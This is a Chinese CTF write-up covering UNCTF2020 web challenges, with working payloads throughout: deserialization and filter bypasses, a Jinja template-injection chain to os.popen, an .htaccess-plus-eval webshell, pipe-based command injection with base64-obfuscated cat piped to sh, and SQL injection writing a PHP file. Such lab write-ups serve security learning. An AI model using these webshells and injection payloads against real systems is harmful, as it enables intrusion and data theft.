MENU

UNCTF2020 Web WriteUp

November 15, 2020 • Read: 377 • Web

UNCTF2020 Web Writeup

队伍:打CTF不靠实力靠运气

作者:wjhwjhn

审计代码

<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}

进去可以直接看到代码,可以观察到使用

preg_match('/unctf\.com/',$url)
preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)

来进行过滤URL,之后就可以直接执行代码了。

可以使用unctf.com;来绕过第一个限制,并且用phar://来绕过第二个限制。

Payload:

?url=unctf.com;phar://../../../../flag

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    class a
    {
        public $uname;
        public $password;
        public function __construct($uname,$password)
        {
            $this->uname=$uname;
            $this->password=$password;
        }
        public function __wakeup()
        {
                if($this->password==='easy')
                {
                    include('flag.php');
                    echo $flag;    
                }
                else
                {
                    echo 'wrong password';
                }
            }
        }
    function filter($string){
        return str_replace('challenge','easychallenge',$string);
    }
    $uname=$_GET[1];
    $password=1;
    $ser=filter(serialize(new a($uname,$password)));
    $test=unserialize($ser);
?>

反序列化漏洞,当数据被序列化后又替换,替换后比原有长度要长,所以可以伪造password

Payload:

?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;

最后长度不足替换后的长度,用分号补全,最后成功得到flag。

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
?>

需要绕过

preg_match('/\(.*\)/', $_GET['a'])//(匹配括号的限制)

if (strpos($data, 'flag') !== false)//(返回输出的限制)

对于1来说,我们可以用%0A来截断.*的匹配,达到绕过的目的。

对于2来说,我们可以用base64编码来编码返回后的结果,达到绕过的目的。

题目告诉我们flag就在flag.php中,所以我们直击目标。

Payload:

?a=echo base64_encode(%0Ashell_exec(%0A"cat flag.php"));

得到flag.php文件的base64

成功得到:

PD9waHAKICAgICRmbGFnPSdVTkNURns1NWVhZjU1MS0wNjk1LTRjYTAtODcyMS1hNWJmZTA5MWVhODB9JzsKICAgID8+CgoK

解密后得到:

<?php

$flag='UNCTF{55eaf551-0695-4ca0-8721-a5bfe091ea80}';

?>
<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

刚开始以为又是一道序列化,直接安排,没想到提交上去显示错误,然后仔细一想,应该是flag.php中有玄机,正好结合前几天看到php弱类型比较,在本地伪造了两个true的变量序列化结果,绕过判断,因为true与任何字符串比较都是返回true。

Payload:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

根据引导注册了admin账号,来到了

/secret_route_you_do_not_know

测试了两天测试出guess参数可以用于与页面交互(这???参数拿来猜,这就是Web吗),

并且使用{{config}}发现guess参数可以利用模版注入,

百度学习了一下注入方法,发现以下payload可以成功getshell

Payload:

{{()\|attr(request.args.x1)\|attr(request.args.x2)\|attr(request.args.x3)()\|attr(request.args.x4)(117)\|attr(request.args.x5)\|attr(request.args.x6)\|attr(request.args.x4)(request.args.x7)\|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("cat%20flag.txt").read()

关于这道题还有一些想说的,

注册非admin账号之后发现页面下方有

这么一串提示,然后我以为要访问的目录就是Secret
Key,结果爆破出来之后发现并不对。注册成功以后看了代码才知道,这道题目admin本来是不能被注册的,但是不知道什么玄学原因,admin也可以被注册,这导致我的做题顺序出现错误,我先看到了

这个,第二才看到那个,所以联想到错误的东西,结果发现这道题由于玄学的问题,导致了admin可以被直接注册。

所以正解应该是

  1. 注册非admin账号
  2. 看到那串文字,然后滚去爆破Secret Key
  3. 使用Secret Key伪造admin账号并且登录
  4. 看到/secret_route_you_do_not_know
  5. 进入页面后看到“guess”,想到用guess作为参数来进行模版注入。*我觉得这一步最难
  6. GetShell

附源码:

from flask import *
import random as rd
import os

app = Flask(__name__)

def ranstr(num):
    H = 'abcdefghijklmnopqrstuvwxyz0123456789'
    salt = ''
    for i in range(num):
        salt += rd.choice(H)
    return salt

SECRET = ranstr(4)

Flask.secret_key = SECRET

BLACKLIST = ['%', '_', 'eval', 'open', 'flag',
             'in', '-', 'class', 'mro', '[', ']', '\"', '\'']

user_dicts = dict()

def init():
    user_dicts["admin"] = User('admin', ranstr(32))

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

def black_list(string):
    for i in string:
        if i in BLACKLIST:
            return True
    return False

@app.route('/', methods=['GET'])
def index():
    if 'username' in session:
        if session['username'] == 'admin':
            return render_template_string(
                "admin login success and check the secret route /secret_route_you_do_not_know")
        else:
            return render_template('hello.html', name=session['username'])
    else:
        return render_template_string("a easy flask problem,first login as the admin")

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username'] if 'username' in request.form else ""
        password = request.form['password'] if 'password' in request.form else ""
        if username == "" or password == "":
            return render_template_string("pass the username or password use get method")
        if username in user_dicts and user_dicts[username].password == password:
            session['username'] = username
            if username == 'admin':
                return render_template_string("admin login success!")
            else:
                return render_template_string("login success!!")
        else:
            return render_template_string("login fail! check /register")
    else:
        return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username'] if 'username' in request.form else ""
        password = request.form['password'] if 'password' in request.form else ""

        if username == "" or password == "":
            return render_template_string("pass the username or password use get method")

        if username not in user_dicts:
            user_dicts[username] = User(username, password)
            return render_template_string("register success")
        else:
            return render_template_string("the user already exists")
    else:
        return render_template('register.html')

@app.route('/secret_route_you_do_not_know', methods=['GET'])
def secret():
    guess = request.args['guess'] if 'guess' in request.args else ''
    secret_num = rd.randint(0, 100000)
    if guess == '':
        return render_template_string("you should 'guess' the secret number")
    try:
        guess_num = int(guess)
        if guess_num == secret_num:
            return render_template_string('final step, check the source code')
        else:
            return render_template_string('you are wrong')
    except Exception:
        if not black_list(guess):
            return render_template_string(guess + ' error!!')
        else:
            return render_template_string('black list filter')

if __name__ == '__main__':
    init()
    app.run(host='0.0.0.0', port=80)
利用.htaccess文件来把jpg文件解析成php执行,但是需要绕过关键字检测。

.htaccess中可以用反斜杠加换行来把关键字隔开从而绕过。

php中可以用<?=来代替<?php,来绕过ph关键字检测,前者这种写法在php5.4以上的版本一定开启而且无法被关闭。

.htaccess上传前把扩展名修改为.htaccess.jpg,然后用BurpSuite把.jpg去掉,这样的目的是在提交的时候多一个类型提交,绕过服务器类型检测。

Shell文件直接用.jpg的格式上传即可。

这样做的原因是并没有屏蔽<关键字,所以当下次屏蔽<关键字的时候我们还可以尝试用UTF-7编码文件来绕过检测。

.htaccess文件

AddType Application/x-httpd-p\

hp .jpg

shell.jpg文件

<?=@eval($_GET['a']);

Payload:

?a=echo shell_exec("cat ../../../../../flag");

最后成功getshell

这道题主要就是利用命令执行去ping我们给出的地址,然后返回信息。

我们要做的应该是在这基础上,运行我们的代码

首先要找到一个可以用于执行第二行代码的分隔符号,发现常见的;被屏蔽了,我们用|来替换,还我发现空格也被屏蔽了,那么我们用%09来替换空格,然后我又发现cat和flag也被屏蔽了,那么我们用base64编码来绕过关键字,最后得到

Payload:

?url=127.0.0.1|echo%09Y2F0IC4uLy4uLy4uLy4uLy4uL2ZsYWc=|base64%09-d|sh

SQL注入,但是有关键词过滤,而且过滤内容较多,根据提示flag不在数据库中,那我们就从文件中去寻找,可惜找了很久也没有,最后在phpinfo()中找到flag

Payload:

1';PREPARE wjh from concat(char(115,101,108,101,99,116,32),"'"
,char(60),char(63),char(112),char(104),char(112),char(32),char(112),char(104),char(112),char(105),char(110),char(102),char(111),char(40),char(41),char(59),char(63),char(62),
"' into outfile '/var/www/html/shell", char(46) ,"php'");EXECUTE wjh;\#

这个是写入了

Last Modified: November 16, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code